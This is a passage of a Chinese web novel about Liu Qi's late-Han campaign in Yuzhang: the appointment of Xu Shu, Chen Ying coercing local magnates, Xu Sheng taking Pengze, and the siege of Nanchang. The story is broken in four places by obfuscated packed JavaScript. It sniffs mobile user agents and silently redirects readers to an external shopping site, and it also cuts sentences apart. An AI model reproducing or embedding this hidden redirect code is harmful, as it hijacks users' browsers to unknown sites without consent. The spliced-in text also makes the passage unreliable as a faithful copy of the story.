刘琦顿了顿,嘴角掠过一丝冷意,“虽因许都驱虎吞狼之策,刘馥这扬州刺史之位已被朝廷转授于我,其自身降为别驾,退守合肥,然此人在淮泗之间经营数年,根基犹存,且背靠曹操,终究是隐患。” “而庐江地处要冲,连接荆、扬、徐、豫,不可无人镇守,统筹军政,北御刘馥,东援豫章。” 庞统闻言,心中一动,已知主公所思,试探道:“主公可是属意元直?” 刘琦点头,手指重重点在庐江郡治皖县的位置:“元直,有谋略,通军政,更在平定李术之乱中立下首功,于庐江已有威望。” “且其与孔明、你等皆是故交,协调后方,传递消息,亦能顺畅。” 刘琦看向孟建,“公威,你即刻拟令:表徐庶为庐江太守,暂领太守事,总揽庐江军政,安抚百姓,筹措粮秣,输送前线。” “告之元直,夹石以南,务必牢牢掌握,恢复生产,以为根基。至于天柱山以北……” 刘琦目光锐利,“让他审时度势,伺机而动。刘馥新失名位,人心浮动,若其内部有隙,或我大军于豫章取得决定性胜势,便可寻机北图,逐步收服失地,将整个庐江真正纳入掌控。然切记,不可浪战,一切以稳守现有根基、支援东征大局为先。” 孟建肃然应诺:“主公英明,如此安排,元直必能领会,庐江可安,我军侧翼无忧矣。” 说完孟建当即铺开绢帛,斟酌词句,开始拟写这份重要的人事任命与方略指令。 庞统亦赞道:“主公思虑周详。徐元直坐镇庐江,南可固我已得之土,积粮募兵;北可窥探刘馥动向,待机而发。如此,我军东向以取豫章、丹阳,便无北顾之忧。” 刘琦微微颔首,目光又转向豫章地图:“庐江安排已定,豫章方面亦需加紧。” 刘琦手指点向鄱阳湖以西,“传令庐江的陈应、吕范,速率所部南下,渡彭蠡泽(鄱阳湖),扫荡泽西诸县,广布兵威,招抚地方,为我大军开辟侧翼,并伺机切断鄱阳、彭泽与南昌之联系!” “再令柴桑魏延,我军将至,令其对南昌可施加压力,围而不打,攻心为上,待我主力汇合,再定行止。所有命令,连同徐庶之任命,均需抄送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828664|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江夏孔明处备案。” “诺!”孟建与庞统齐声应道,舱内一片忙碌,道道命令随着快船驶向各方。 大军东进,沿途果然传檄而定。 在蒋钦水师的护卫下,江面畅通无阻。 不少濒江小县,闻刘琦亲率大军东来,又知柴桑已失,孙权势颓,纷纷遣使至船队奉表输诚。 随后数日,在受刘琦之命经略豫章的各路兵马,在魏延主力南下直逼南昌的同时,亦在各处攻城略地,招兵买马,从侧翼压缩孙氏势力,并为主力大军补充兵源。 鄡阳县,县衙之内,气氛热烈。 襄阳营校尉陈应坐于主位,正设宴款待本地著姓豪帅。 他奉刘琦之命,与吕范领兵五千,自庐江而下过大江,乘船抵达彭蠡泽西岸后连下数县后,分兵略地,自领一部至此。 陈应虽非以勇武著称,但多年行伍,统兵严谨,亦有其威仪。 酒过数巡,陈应放下酒樽,环视在场七八位面色红润、衣着光鲜的豪帅,沉声道: “今孙氏失道,我主刘扬州奉诏讨逆,吊民伐罪。大军所至,秋毫无犯。鄡阳县幸得安宁,皆赖诸位深明大义,未作抗拒。” “然豫章未平,孙贲犹在南昌,欲竟全功,尚需人力物力。应闻诸位素具忠义,家资殷实,部曲精悍,不知可愿助我军一臂之力,共讨**,安靖地方?” 堂内欢笑声顿歇,众豪帅面面相觑,神色各异。 刘琦大军虽声势浩大,毕竟新入豫章,最终胜负犹未可知,此刻要他们出人出粮,实难心甘。 半晌,一位年长的豪帅干笑一声,拱手道:“陈将军威名,我等久仰。刘扬州奉诏讨逆,乃大义所在,我等小民岂敢不尊?” 只是……族中薄产,丁口有限,恐难为大军前驱。 “是以,小民愿献粮五百石,助军资用,略表寸心,不知将军意下如何?” “正是,正是!”其余人纷纷附和,皆言愿出粮草,却无人提派子弟部曲从征。 陈应面色不变,目光却冷了几分。 陈应瞥了一眼陪坐末席、冷汗涔涔的鄡阳县长,县长连忙挤出笑容,却不敢多言。 “看来,诸位是信不过我军,欲待价而沽了?”陈应缓缓道,手指轻叩案几。 那率先发言的年长豪帅强笑道:“将军言重了,实是小民力有未逮……” “力有未逮?” 陈应忽然打断,声音转厉,“我闻尔等各家,蓄养私兵部曲,多者上千,少者亦不下数百,平日里武断乡曲,好不威风!” “如今国家用兵,正需尔等效命之时,却推三阻四,只肯舍些粮草,是觉得我陈应的刀不够利,还是觉得刘扬州的天威,罩不住这鄡阳县?” 话音未落,陈应猛地将手中酒樽掷于地上,厉喝:“来人!” 霎时间,堂外涌入数十名披甲持刃的甲士,刀光森然,将众豪帅及其身后护卫隐隐围住。 豪帅们的护卫也纷纷拔出兵刃,护在主人身前,但见对方军士人数更多,且杀气腾腾,气势上已先弱了三分。 第104章 陈应:尔要试试某刀利否? 豪帅们的护卫也纷纷拔出兵刃,护在主人身前,但见对方军士人数更多,且杀气腾腾,气势上已先弱了三分。 一名性情暴躁的年轻豪帅按捺不住,拔剑指向陈应:“陈应!我等敬你是朝廷将官,以礼相待,献粮助军,已是仁至义尽!你竟想强逼我等为前驱,真当鄡阳无人耶?” 陈应霍然起身,毫无惧色,冷笑道:“强逼?陈某奉诏讨贼,沿途征发义兵,乃是天经地义!” “尔等聚众自保,实同割据,平日兼并乡里,今日又敢持械胁官,看来是久在孙逆麾下,不知王法为何物了!” 陈应猛地一挥手,“将此狂徒拿下!敢反抗者,以从逆论处,格杀勿论!” 军士齐声应诺,挺刃上前,那年轻豪帅又惊又怒,挥剑欲搏,却被数名军士以长戟架住,顷刻间被制服在地。 其余豪帅的护卫见对方动了真格,且主将如此强硬,气焰顿时消散大半,虽仍持兵戒备,却不敢妄动。 陈应目光如刀,扫过众人:“还有谁想试试陈某的刀利否?” 一时间堂内一片死寂。 那年轻豪帅被军士死死按在地上,挣扎不得,方才还巧言推脱的众豪帅,此刻面色发白,冷汗直流。许些胆小的更是双腿发软,几乎站立不住。 陈应复又坐下,语气稍缓,却依旧带着不容置疑的威严:“某并非不通情理。孙氏暴虐,百姓久苦。” “今我主刘扬州宽仁爱民,大军所至,除暴安良,尔等助军,非为私利,实乃助顺讨逆,保境安民。凡出丁从军者,依军功受赏,家眷可得抚恤优待。战后愿归乡者,另有田宅赏赐。此乃光明正道,岂不胜过尔等困守乡里,终日提心吊胆?” 一名年长豪帅见势不可逆,长叹一声,率先躬身:“将军息怒,是老朽等愚昧短视。既是为国讨贼,安靖乡土,我等敢不效力?某愿遣族中子弟三百,并献粮千石,以供军需。” 有人带头,余者纷纷跟进,唯恐落后被当作杀鸡儆猴的那只“鸡”。你一言我一语,争相表示愿出人出粮。 陈应面色稍霁,令军士放开那被制服的年轻豪帅,道:“早该如此。便请诸位立下字据,写明所出丁口、钱粮数目,三日内送至军中。至于这位……”他看向那兀自不服气的年轻豪帅,“你族中丁口,依数征发。念你初犯,暂不深究,若再生事,两罪并罚!” 年轻豪帅面色铁青,却不敢再言,只得低头认下。 经此一事,陈应在鄡阳县不仅募得新兵一千二百余人,更得粮秣近万石,军威大振,彻底控制了此县。 在鄡阳县以“理”服人,慑服豪帅、募得兵员一千二百余及大批粮草后,陈应并未停歇。 陈应留部分兵力镇守鄡阳,旋即分兵两路:一路由吕范率领千余人,前往东北方向的广昌县招抚;自己则亲率主力,直扑东南方向的鄱阳郡治所。 昔日东汉所置的豫章郡,疆域广阔,大致涵盖后世江西大部。孙策在平定江东后,为便于掌控,便将其析分数郡,除核心的豫章郡外,另设有鄱阳郡、庐陵郡、临川郡三郡。 而陈应此次目标,便是拿下这鄱阳郡郡治潘阳县,从而进一步撕裂孙氏在豫章地区的统治。 而陈应的进展颇为顺利,鄱阳郡因地处彭蠡泽周边,水网纵横,孙氏在此的统治本就不及豫章郡腹心之地牢固。 加之柴桑失守、刘琦大军东进的消息已传遍各地,郡内守军士气低迷,豪强观望。 陈应率军压境,一面展示兵威,一面遣使宣谕刘琦檄文及安抚政策,不过数日,郡治及其属县便相继归附。 志得意满之余,陈应修书一封,将战报遣快马送往江夏,同时也告知柴桑的徐盛:“鄱阳郡已定,文向兄可专心北事,此处不劳挂怀。”言辞间,不无抢先立功的些许矜持。 而在柴桑城中,徐盛接到陈应书信,览毕,心中顿时五味杂陈,懊悔与紧迫感交织。 他受命镇守柴桑,总理北境,本也有相机东向、收取鄱阳的打算。 奈何先前忙于整编降卒、安抚百姓、训练新兵,以求根基稳固,行动便缓了陈应一步。 如今眼见陈应进展神速,抢下鄱阳郡大功,自己却因沉稳练兵而错失良机,怎能不暗自扼腕? “一步慢,步步慢乎?”徐盛放下帛书,走到堂前悬挂的舆图前,目光如炬,急切地搜寻着其他可以建功的目标。 徐盛在舆图上巡视起来,先是掠过已被陈应收取的鄱阳郡,沿鄱阳湖向东北移动,最终牢牢锁定在湖口东岸的一个要点——彭泽。 此城地处鄱阳湖汇入长江之咽喉,与西面的柴桑一东一西,共同扼守着大江航道及鄱阳湖门户,战略地位极其重要。 在江东水师全盛之时,彭泽便是其防御荆州方向的重要水寨,舰船由此巡弋湖口,控制水道。 只是因之前江夏一战,孙权、周瑜所率主力水师几乎覆灭,残余舟舰又被孙权带走退守丹阳,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830440|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才导致彭泽方向水上力量空虚,门户洞开,使得陈应从庐江南下之师得以长驱直入鄱阳湖,进而席卷鄱阳郡。 “彭泽……”徐盛低声念着这个名字,眼中渐渐燃起斗志。 此城之重,不亚于柴桑。若能将其攻克,不仅可彻底掌控鄱阳湖口,保障大军侧翼与粮道绝对安全,更能与柴桑形成犄角之势,牢牢锁住江东西进之路。 这,正是弥补他迟步鄱阳的绝佳机会,亦是一桩足以彰显其能力的硬功! 念此徐盛不再犹豫,一面加派斥候细作,严密侦查彭泽守军兵力、布防及周边地形水文;一面加速整训士卒,囤积粮械,准备船只,只待时机成熟,便要挥师东向,夺取这座江东西门户的另一把钥匙。 而时间来到建安五年九月中旬,刘琦亲率的东征大军,经过数日航行,终于抵达柴桑。 楼船旗舰缓缓靠岸,码头上早已旌旗招展,留守的军吏、部分归附的士绅以及自发前来观瞻的百姓,将江岸挤得水泄不通。 人们踮脚张望,都想一睹这位持朝廷节钺、连战连捷的年轻扬州刺史的风采。 刘琦在黄忠、赵云、周仓等将领的簇拥下,踏着结实的跳板登岸。 柴桑城头,“刘”字赤旗与“魏”字将旗迎风招展,城墙显见加固痕迹,码头秩序井然,往来民夫士卒面色亦算安定,可见治理颇有章法。 刘琦环视四周,微微颔首,对徐盛的办事能力愈发认可。 “臣等恭迎主公!”以张硕为首的一干留守官吏迎上前来,躬身行礼。 “诸位辛苦。”刘琦温言勉励,目光扫过人群,却未见徐盛身影,不由问道:“文向何在?莫非在城中校场操练兵马?” 张硕连忙回禀:“启禀主公,徐将军五日前已率精锐两千,乘舟东出,前往攻打彭泽去了。” “彭泽?” 刘琦略一思索,眼中便露出了然与赞许之色,“好个徐文向,眼光毒辣,动作也快!” 庞统在一旁抚掌笑道:“彭泽扼鄱阳湖口,与柴桑成犄角之势,共锁大江。得此城,则湖口门户尽在我手,大军侧翼无忧,粮道可保万全。徐将军不待主公大军亲至,便主动寻机进取,实有胆略。” 刘琦点头,对徐盛此举颇为满意,能在稳固守地之余,敏锐捕捉战机,扩大战果,这正是他需要的大将之材。 随后刘琦一边在众人引领下向城内府衙行去,一边细细询问柴桑近日状况及徐盛出兵详情。 第105章 克彭泽锁湖口,古锭刀赐良将 随后刘琦一边在众人引领下向城内府衙行去,一边细细询问柴桑近日状况及徐盛出兵详情。 张硕等人一一禀报:徐盛自领守柴桑以来,内抚百姓,减免赋税,招募流民屯垦,商业渐复;外整军备,汰弱留强,严格操练新募士卒,军容日盛。 如今府库钱粮军械,除上缴及留足守城之用外,皆用于养兵安民。 而徐盛随后得知陈应先下鄱阳郡后,曾扼腕叹息,旋即振作,将目光投向战略要地彭泽。 经细作探查,知彭泽守军因水师凋零而士气不振,便果断集结可用之兵,伺机东进。 “文向能化憾意为动力,另辟战场建功,甚好。”刘琦评价道,心中对徐盛的印象又深了一层。 此人不仅知恩义、有威望,更有进取之心与应变之能,确是可造之材,不愧是青史留名的将领。 众人至府衙坐定不久,忽有快马自东疾驰而来,直入府门。 信使满身风尘,却面带喜色,奔至堂前单膝跪地,高举军报:“禀主公!徐盛将军捷报!彭泽已克!” 堂内顿时一阵低呼,随即化为欣喜。刘琦接过军报,迅速展开。 徐盛在信中详细禀报了攻打彭泽的经过:他利用缴获及自造的船只,趁夜色掩护悄然渡湖,拂晓时分突然出现在彭泽城下。 而彭泽守军猝不及防,加之早已听闻柴桑易帜、刘琦大军东进,抵抗意志薄弱。 徐盛一面挥军猛攻,一面命嗓门洪亮的军士高声宣谕刘琦的招降政策。 如此不过半日,彭泽守将便开城归降,此战,俘获江东士卒一千八百余人,粮草军械无算,更关键的是,彻底掌控了鄱阳湖通往长江的咽喉要道。 “漂亮!”刘琦不禁击节称赞,“文向此功,不下于攻城略地!传令,大军在柴桑休整两日,并令徐盛妥善处置彭泽防务后,速返柴桑叙功!” 两日后,徐盛将彭泽防务暂交副将,率部分亲随乘船西返。 当徐盛的座舟驶近柴桑码头时,只见江面上帆樯如林,艨艟斗舰排列森严,远非他离开时可比。 尤其是那几艘高大的楼船,巍然耸立,旌旗招展,无声地宣示着主帅与大军的抵达。徐盛立于船头,望着这遮天蔽日般的雄壮军容,心潮澎湃。 徐盛精神一振,心中满怀建功立业的激荡,整肃衣甲,快步登岸。 而船刚靠稳,便见以张硕为首的一干留守官吏早已在码头上等候。 张硕快步迎上前,满面笑容,深深一揖:“恭贺徐将军凯旋!将军奉命东出,迅克彭泽,建此奇功,我等在柴桑闻之,无不振奋!主公已至城中,特命我等在此迎候将军。” 徐盛抱拳还礼:“张兄客气,此乃盛分内之事,赖将士用命,主公威德罢了。” 说完徐盛目光扫过码头后方严整的营寨与飘扬的旌旗,心中对即将向主公当面禀报功绩更添期待。 在张硕等人的陪同下,徐盛一行向城中府衙行去。 沿途所见,柴桑城内秩序井然,市面渐复生气,巡逻士卒精神饱满,与自己离开前相比,更添了几分大战来临前特有的肃整与活力,显见主公坐镇后,气象又自不同。 至府衙外,守卫森严。通传不久,内里便传出令来:“传徐将军。” 徐盛整了整衣甲,深吸一口气,大步踏入堂中。 只见刘琦端坐于上,黄忠、赵云、庞统、孟建等文武分列两侧。他上前数步,躬身抱拳,声音洪亮:“末将徐盛,奉命东出,今克复彭泽,特来向主公交令!” 刘琦大笑上前,亲手扶起徐盛:“文向辛苦了!‘择机而进’,你把握得恰到好处!彭泽乃湖口锁钥,得此城,非独一城之功,实乃全局之胜!快与我说说详细。” 徐盛心中暖流涌动,详述了攻略彭泽的经过,并禀报了留守兵力及防务安排。 刘琦边听边颔首,与庞统、孟建等人交换着赞赏的眼神。 次日,刘琦在徐盛陪同下,亲至柴桑城外公差新辟的校场,检视徐盛近期招募并加紧操练的数千新卒。 但见校场之上,队列操演、兵器格杀,虽时日尚短,却已初具规矩,士气亦显高昂。 看着眼前这些大多来自流民、矿户的新兵,刘琦心中不由感慨。 汉室倾颓以来,兵制早已紊乱。昔日西汉以郡国兵为骨干,定期操演(都试),兵员素质尚有保障。 至光武中兴,废郡国兵,除都试,天下承平时尚可,一旦战乱频仍,中央兵力便捉襟见肘,只得仰赖临时征发,然未经训练的乌合之众,战力堪忧。 故而入这汉末乱世,募兵制已成主流。或如曹操、刘备早年以财帛募集义勇,或如孙策以豁免赋税为条件换取地方支持,招募宗族、流民为兵。 自己如今以朝廷正朔之名,假扬州刺史之节,行募兵安民之实,亦需恩威并施,既要给予实利(免赋、分田),也需树立威信,更要如徐盛这般,对招募来的士卒严加操练,汰弱留强,方能练就一支可战之师。徐盛在柴桑的作为,正是此中典范。 当日晚间,刘琦于府衙设下便宴,既为徐盛庆功,亦与麾下文武共议下一步方略。 酒过三巡,刘琦举杯,面向徐盛及众文武,朗声道:“文向,前番轻取柴桑,已显胆略,吾授尔振威校尉,镇守西藩。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庞统当先出列,目光灼灼:“主公,统以为,当速催魏延将军,加强对南昌围困,并遣使入城,晓以利害,施以压力,迫孙贲早降。” “而南昌若下,豫章全境可传檄而定。届时,主公携豫章之众,汇合大军,水陆并进,直指丹阳,与孙权决胜于江东腹地!” 孟建补充道:“此外,庐陵、鄱阳南部等地,亦需遣使招抚,或分派偏师慑服,以免后顾之忧。” 刘琦聆听众议,手指在图上缓缓移动,最终在南昌位置重重一点:“便依士元(庞统)之见。” 第106章 兵压南昌城,攻心为上策 随着军议方略定下,一道道军令自府衙飞驰而出,带着刘琦的意志,投向四方。 而刘琦亲笔手书,令快马星夜送往南昌前线魏延军中:“文长,今柴桑、彭泽已固,北线无虞,南昌乃豫章腹心,孙贲倚城而守,犹作困兽之斗。” “着汝即行加强围困,深沟高垒,断其外援,绝其粮道。” “然攻城为下,攻心为上,汝可多遣使者,广射檄文,以朝廷大义、我师兵威晓谕城内军民将校,分化其心,动摇其志。待其内变,或待吾大军合围,再行雷霆一击。切记,持重而进,不争一时之快。” 同时,刘琦又传令庐江太守徐庶、鄱阳的陈应、广昌的吕范,命其各守要地,稳固新得疆土,同时抽调部分精锐及筹措粮秣,沿水路汇向南昌方向,以为支援。 柴桑城内,大军只休整三日,便再度开拔。 刘琦留孟建领千人镇守柴桑,总揽北境后勤,协调与江夏、庐江联络,自与黄忠、赵云、周仓、庞统等,率步骑主力一万二千,水师战船二百余艘,顺赣水南下,直逼南昌。 徐盛所部亦受命同行,其麾下柴桑新卒经连日整训,已堪一用,被编为前部先锋。 楼船旗舰劈波斩浪,刘琦与庞统立于船首,望着两岸逐渐浓郁的秋色,以及江面上往来穿梭、输送物资的己方舟船,心中豪情与思虑交织。 “主公可是在思虑南昌战事?”庞统察言观色,问道。 刘琦微微颔首:“孙贲乃孙坚侄儿,孙策堂兄,久镇豫章,虽非大才,却也算得稳重,豫章郡兵加上其本部,守军当不下数千人。” “而南昌城郭坚固,若其铁心死守,强攻难免伤亡。士元方才言‘攻心为上’,正合我意。然此‘心’该如何攻法,方能收事半功倍之效?” 庞统轻捋短须,目光深邃:“孙贲其人,统略有耳闻。昔年孙策横扫江东,豫章华歆不战而降,孙策便表孙贲为豫章太守,实为安抚拉拢孙氏宗亲,并借助其名望稳定豫章。” “而那孙贲虽受孙氏恩惠,然其本支并非孙坚嫡系,与孙权关系未必亲密无间。” “如今孙权新败,困守丹阳,豫章大部已入我手,孙贲困守孤城,外无必救之援,内……未必是铁板一块。” 刘琦眼睛一亮:“士元是说,孙贲与其麾下将吏,并非同心?” 庞统点头:“孙权以碧眼之姿,承继兄业,本就有些波折。” “孙氏内部,淮泗旧将与江东本土士族矛盾暗存,孙贲这等宗亲地方大员,既要听命于吴郡,又要平衡地方势力,其中牵扯颇多。” “今大厦将倾,各思前程者恐不在少数。主公手握朝廷正朔名分,挟江夏大胜之威,军容鼎盛。只需将‘势’做足,将‘利’摆明,再将‘害’说透,城内自有聪明人替我们打开城门。” 刘琦沉吟道:“欲做足‘势’,除大军围城外,尚需隔绝其一切外援希望。孙权那边……” 庞统笑道:“主公放心。甘兴霸水师已前出至芜湖、牛渚一带巡弋,江面之上,孙权残余水师绝难西顾。” “陆路而言,丹阳、吴郡兵若要援豫章,必先经丹阳西部诸县,而那一带山越频发,道路难行,短期之内,孙权即便有心,也无力派遣大队人马。至于庐陵孙辅……” 庞统略作停顿,眼中闪过一丝精光:“孙辅乃孙贲亲弟,驻守庐陵。然庐陵郡南接交州,山岭纵横,民风彪悍,孙辅能调动之兵有限,且其郡内是否安稳尚未可知。 “主公可修书一封遣使携重礼往交州士燮处,陈说利害。士燮稳坐交趾,向来不轻易介入外部纷争,但若得知主公已定豫章大半,又有朝廷名分,只需其保持中立,或稍作牵制,孙辅便不敢轻举妄动。是故,南昌已是孤城。” “好!”刘琦抚掌,“如此,这‘势’便足了。” “至于‘利’与‘害’……” 庞统从容道:“利者,凡弃暗投明,献城归顺者,依其官职功劳,保其禄位,乃至擢升;其部曲家产,一律保全;城中百姓,免遭兵燹之祸。” “害者,若负隅顽抗,待城破之日,首恶必诛,从者严惩;且公告全军,破城之后,凡助逆守城者,家产抄没,亲族连坐。” “此檄文需写得堂堂正正,又暗藏机锋,专挑孙贲与其部下、与孙权可能存在的嫌隙处下笔。” “主公可命新附陈震、邓芝等善文之士草拟,务求犀利。” 刘琦深以为然,当即唤来随军的邓芝、陈震,将此意说明,命二人合力草拟一篇致南昌军民的劝降檄文,要求既彰大义,又切中利害,暗含分化。 邓芝精于政略,陈震机敏善文,二人领命后,于舟中闭门斟酌词句。 不过半日,一篇文采斐然、软硬兼施的檄文便呈到刘琦案前。 刘琦与庞统览罢,均觉满意,命连夜抄写数百份,待大军抵近南昌,便以箭矢射入城中,并遣嗓门洪亮之士,日夜于城外宣读。 数日后,刘琦主力船队抵达南昌以北数十里处的赣水河道。早有魏延派出的哨船相接引路。 及至预定登岸地点,但见岸上营垒连绵,旌旗密布,“魏”、“黄”、“赵”等将旗迎风招展,军容严整,杀气森然。 而魏延已得讯息,率麾下将校亲至水边迎接。 “末将魏延,恭迎主公!”魏延甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834307|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胄在身,抱拳行礼,声若洪钟。 虽连日围城,风霜之色难掩,但魏延依旧双目炯炯,战意昂扬。 刘琦下船,亲手扶起魏延:“文长辛苦!南昌形势如何?” 魏延引刘琦等人步入中军大帐,于沙盘舆图前禀报: “禀主公,自柴桑捷报传来,末将便依先前方略,加强围困。” “如今南昌四门之外,皆已筑起营垒壕沟,派出游骑,日夜巡哨,断绝内外交通。城中派出的几股探马、信使,尽被截杀。” 魏延手指舆图上南昌城的位置:“孙贲初始尚组织过两次试探性突围,均被我军击退,折损了些人马。而近来已闭门不出,只是加固城防,收拢物资,显是打定主意死守。” “据城内细作冒死传出消息,粮草尚可支撑两三月,但柴薪、药材等已开始管控,民心浮动,军中也颇有怨言。” “孙贲本人及主要将领动向呢?”庞统问道。 “孙贲每日巡视城防,弹压局面,看似镇定。但其麾下几名主要军司马、都尉,态度颇有微妙。” 魏延说道,“有一名叫朱殇的校尉,昔日是孙策麾下将校,加之性情刚烈,是以主战最力。” “另有一名主管粮秣的姓徐的郡丞,以及几个本地著姓出身的军官,近日在公开场合说话谨慎,私下似有往来。” 刘琦与庞统对视一眼,看来庞统所料不差,城内并非铁板一块。 “我方劝降檄文效果如何?”刘琦又问。 “末将已命人将主公先前檄文多番射入城中,并让士卒喊话。” “起初城中尚有箭矢回击,喝骂,近日已少了许多。据闻孙贲严禁军士拾取、传阅我方文告,违令者斩,但恐怕禁不胜禁。”魏延答道。 刘琦点头,将邓芝、陈震新拟的檄文交给魏延:“此乃新拟劝降文告,更详列利害,直指人心。” “多抄多射,并挑选机敏胆大之士,设法与城内有可能动摇的官员将领暗中取得联系。所需金帛财物,可向孟建处支取。记住,首要目标非孙贲,而是其麾下将吏及城中大族。” “末将领命!”魏延郑重接过。 刘琦大军到来,让原本就围困住南昌的刘琦军声势更壮。 连绵的营盘几乎将南昌城围得水泄不通,每日都有新的劝降文告被射入城中,城外呼喊劝降的声音此起彼伏。 刘琦甚至命人在城外显眼处筑起高台,陈列部分缴获的江东精美器物、绸缎,以及满载粮米的车辆,宣称凡出降者,立赏钱帛粮米,有才者更予官职。 这种赤裸裸的“炫富”与招揽,对城内日益困窘的军民而言,不啻于巨大的心理冲击。